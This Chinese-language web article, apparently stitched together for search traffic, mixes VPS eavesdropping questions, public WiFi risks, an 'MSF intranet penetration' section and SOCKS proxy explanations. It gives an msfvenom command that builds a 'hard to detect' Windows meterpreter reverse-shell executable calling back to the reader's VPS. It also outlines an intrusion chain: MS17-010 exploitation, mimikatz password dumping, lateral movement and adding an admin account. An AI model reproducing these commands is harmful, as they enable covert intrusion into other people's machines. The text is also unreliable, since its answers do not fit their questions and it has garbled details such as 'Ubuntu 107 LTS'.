深度探讨，VPS是否会被监听及遭遇网络封锁的风险分析

装VPS会被监听吗？

1、监听风险确实存在，因为WiFi采用无线传输，理论上使用相同的天线和设备可以接收到路由器传输的信息，如果是HTTPS加密通信，只能截取到密文，对攻击者而言意义不大，但如果是HTTP通信，用户的上网行为将完全暴露，包括cookie信息也可能被窃取。

2、可以生成一个难以检测的MSF木马，使用命令：msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=XXX.XXX.XXX.XX LPORT=4444 -f exe > exp.exe，LHOST是你的VPS地址，LPORT是用于监听的端口。

3、监控手机的流程包括：首先将监控软件下载并安装到手机上；然后在地址、用户名和密码填写界面，建议使用域名而非直接填写IP地址，并点击左下角保存按钮；通过手指在手机界面上滑动，即可控制鼠标移动，类似于笔记本电脑的触摸板。

4、在特定的网络环境和服务器配置下，如Web服务器使用Windows Server 2012，JDK版本为8u131，VPS运行Ubuntu 107 LTS，攻击者可能会利用这些漏洞，在VPS上准备相关文件并启动监听服务，利用VPS上的python服务器响应恶意的XStream payload，并启动脚本和监听服务。

5、在VPS上开启如下监听：将1080端口的流量转发到本地的8889端口，然后在服务器B上执行特定命令，监听本地的9999端口，在服务器A上执行命令，将VPS的8888端口与服务器B的9999端口连接起来，完成以上命令后，即可进行通信。

6、需要下载tcping软件，并将其放置在C:windowssystem32目录下，该软件可用于监听服务器的端口状态，默认监听80端口，但也可以指定其他端口，通过ping返回的时间，可以判断服务器是否存在延迟或端口不通的情况，将文件放置在指定目录后，即可直接使用。

手机连接公开WiFi安全吗？

1、直接连接手机存在严重风险，无需用户进行任何网页浏览，一旦连接到公开WiFi，手机就可能遭受攻击，导致安全漏洞。

2、公司WiFi属于公共WiFi，安全性较低，存在被监控的风险，攻击者可以通过抓包工具捕获传输中的数据，因此不建议连接公共WiFi，WiFi的监控机制是基于手机的唯一物理地址，当手机连接到WiFi网络时，会在路由器上注册，从而监控手机内容。

3、手机连接公共WiFi通常不安全，商家通常会使用普通路由器进行网络覆盖，并设置密码公开，有些商家甚至不设置密码，使得用户传输的数据容易被同一网络中的黑客监听和窃取，商业WiFi通常会在连接网络前要求用户输入手机 *** ，并通过短信发送上网账号和密码。

4、智能手机用户在连接公共WiFi时需要警惕潜在的安全风险，WiFi陷阱通常分为“设套”和“进攻”两种形式。“设套”指的是在公共场所搭建假冒的免费WiFi热点，引诱用户接入，并记录其所有网络行为。

实战MSF内网渗透

1、在内网渗透过程中，通常会先设置代理，在内网中，首先尝试利用ms17-010漏洞，在实战中，使用msf的ms17-010模块时，可能多次未能成功反弹shell，为了成功利用ms17-010，在msf成功接收session后，需要添加路由，并使用相关模块探测是否存在该漏洞，将LHOST配置为公网IP后，可以看到“success”提示。

2、在内网域渗透分析的实战中，搭建一个严谨的测试环境是首要任务，我们使用VMware搭建具有双网卡的web服务器，将互联网与内网隔离，并通过VMnet3配置以方便进行渗透测试，通过Nmap扫描发现web服务器的漏洞，如弱口令或上传漏洞，然后利用webshell进行攻击。

3、利用已获取的密码，对C段的Linux主机进行横向移动，成功弹出几个shell至MSF，至此，公网C段基本被渗透，在获得root密码后，团队对10网段进行内网渗透扫描，发现大量资产，包括ESXI和一个门禁系统，通过特殊手段，横向移动成功控制了10网段的两台SSH服务器，并发现了第三层内网192段以及docker环境。

4、域内服务器Mssql的攻击流程包括使用mimikatz工具抓取账号密码、添加路由、利用MS17-010漏洞进行攻击以提升权限、使用CLR组件提权，添加管理员账户并加入admin组，最后上线MSF进行内网渗透，本文通过实际操作展示了红队在多层内网环境下的渗透测试方法，涉及多种技术和策略。

SOCKS代理

1、使用EarchWorm一级正向代理，通过正向代理访问win2003的内网，当目标机器具有公网IP时，可以使用以下命令建立一个SOCKS5代理，监听1080端口的流量。

2、SOCKS代理是一种用于在网络代理协议间传输数据的系统，能够代理各种协议请求，如HTTP、FTP、SMTP等，SOCKS代理在需要通过代理访问受限制网站或隐藏真实IP的场景中具有广泛用途，提供了高度的灵活性和通用性，满足多种网络通信需求，神龙代理IP提供免费测试服务，欢迎咨询。

3、SOCKS5代理是指使用SOCKS协议的代理服务器，这是一种通用的网络代理解决方案，SOCKS协议最初由David Koblas在1990年开发，并成为互联网工程的正式标准（RFC），SOCKS代理在网络层面工作，作为电路级的网关，不要求应用程序遵循特定的操作系统平台。

4、SOCKS5代理意味着采用SOCKS协议的代理服务器，即SOCKS服务器，是一种通用的代理服务器，SOCKS协议由DavidKoblas在1990年开发，此后一直作为Internet RFC标准的开放标准。

5、SOCKS协议是一种互联网代理转发机制，通过代理服务器隐藏用户的真实IP地址，仅暴露代理服务器的IP，最新版本的SOCKS5在功能上对SOCKS4进行了改进和增强，与SOCKS4相比，SOCKS5具有更强的通用性，并提供了多种身份验证方法，而SOCKS4则不支持身份验证，这使得SOCKS5在安全性和功能上具有显著优势。